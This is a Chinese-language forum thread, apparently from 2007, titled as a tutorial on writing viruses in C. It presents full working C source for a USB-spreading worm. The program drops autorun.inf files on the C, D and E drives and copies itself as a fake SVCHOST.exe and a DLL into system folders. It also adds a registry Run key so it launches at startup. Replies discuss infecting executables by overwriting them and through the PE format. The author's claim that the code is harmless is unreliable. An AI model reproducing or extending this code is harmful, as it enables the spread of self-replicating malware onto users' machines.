学习型 ASP/PHP/ASP.NET 主机 30元/年全能 ASP/PHP/ASP.NET 主机,支持月付专业 MSSQL 数据库空间,支持月付专业 MySQL 数据库空间,支持月付
发新话题
打印

[原创]用C写病毒(1)

本主题由 卧龙孔明 于 2008-7-11 17:59 关闭

[原创]用C写病毒(1)

[原创]用C写病毒(1)

连载1,由于本人较忙,连载2可能在8月左右或8月前与大家见面

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你

可以在技术范围及法律范围内扩充实验.
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.

连载1——最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力

本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。

以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究


/* SVCHOST.C */
/* SVCHOST.EXE */

#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}

在连载2中你将看到:
病毒对系统文件破坏的方法,病毒对文件的感染,病毒生成垃圾文件,病毒更具隐蔽性的方法。

[此贴子已经被作者于2007-5-26 15:55:54编辑过]

TOP

好文啊,对楼主GG的才情如滔滔之江水,又如黄河之泛滥
……

TOP

太牛了吧
麻雀飞上枝头变凤凰,而菜鸟的我飞上枝头却感冒了,为什么我的脑袋如此的不管用呢。

TOP

[QUOTE]病毒对文件的感染,[/QUOTE]
我到是想看看你是怎么用C来实现的,唯实现这个,才能称得是病毒
祝天下所有母亲幸福安康!~

TOP

忘了偶现在是用别人的号

祝天下所有母亲幸福安康!~

TOP

以下是引用google在2007-5-26 16:44:14的发言:
病毒对文件的感染,

我到是想看看你是怎么用C来实现的,唯实现这个,才能称得是病毒

如果要感染全部文件,是不容易实现的,但是可以做到的最简单的方法是将.exe文件直接替换为同名的病毒体,同时改变病毒体文件的长度与原.exe文件相同(当然,不改也可以).

图论能力提升

TOP

对于复杂的感染就需要对PE格式的理解.
图论能力提升

TOP

以下是引用卧龙孔明在2007-5-26 18:41:06的发言:

如果要感染全部文件,是不容易实现的,但是可以做到的最简单的方法是将.exe文件直接替换为同名的病毒体,同时改变病毒体文件的长度与原.exe文件相同(当然,不改也可以).

问题: 你如何实现被你称为"被感染的原.exe"原有的功能?通常情况下,被病毒感染的程式多只执一节病毒体,并不丢失原有的任何功能.这也是病毒确保生存繁衍的前提,否则,按你所谓的方式,替换,如何再次传染么?

祝天下所有母亲幸福安康!~

TOP

楼主是S.K.吗?
好象我看过楼主整理的C资料。
里面有许多精华帖,让我得益非浅……

学C语言难得过老外学用中国的筷子吗?

TOP

以下是引用卧龙孔明在2007-5-26 18:42:21的发言:
对于复杂的感染就需要对PE格式的理解.

我最近在研究这个.孔明有什么好的资料没?

倚天照海花无数,流水高山心自知。

TOP

发新话题